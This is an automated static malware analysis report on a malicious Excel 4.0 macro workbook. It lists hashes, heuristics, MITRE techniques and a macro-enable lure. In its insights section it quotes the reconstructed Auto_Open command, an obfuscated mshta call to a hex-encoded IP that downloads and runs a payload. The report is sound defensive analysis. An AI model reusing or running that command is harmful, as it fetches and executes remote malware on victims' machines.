Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 ee5e4fb8d7ad6e87…

MALICIOUS

Office (OLE) / .XLS

65.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 0f40adba0c839e7d1dcd4b306fe205ac SHA-1: 70037cc311359b62485b24b33d3a8c00a5f576d8 SHA-256: ee5e4fb8d7ad6e87b35eec31de4772cbec5adf2a69b353884cbe1b265d85d025
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 PowerShell

The sample is an Excel 4.0 macro sheet that uses an Auto_Open macro to execute a command. The macro reconstructs the command 'cmd /c msh^t^a http://0xc12a24f5/c.html', which is designed to download and execute a payload from the specified URL. The document body also contains a lure to enable macros, further supporting its role as a malicious downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes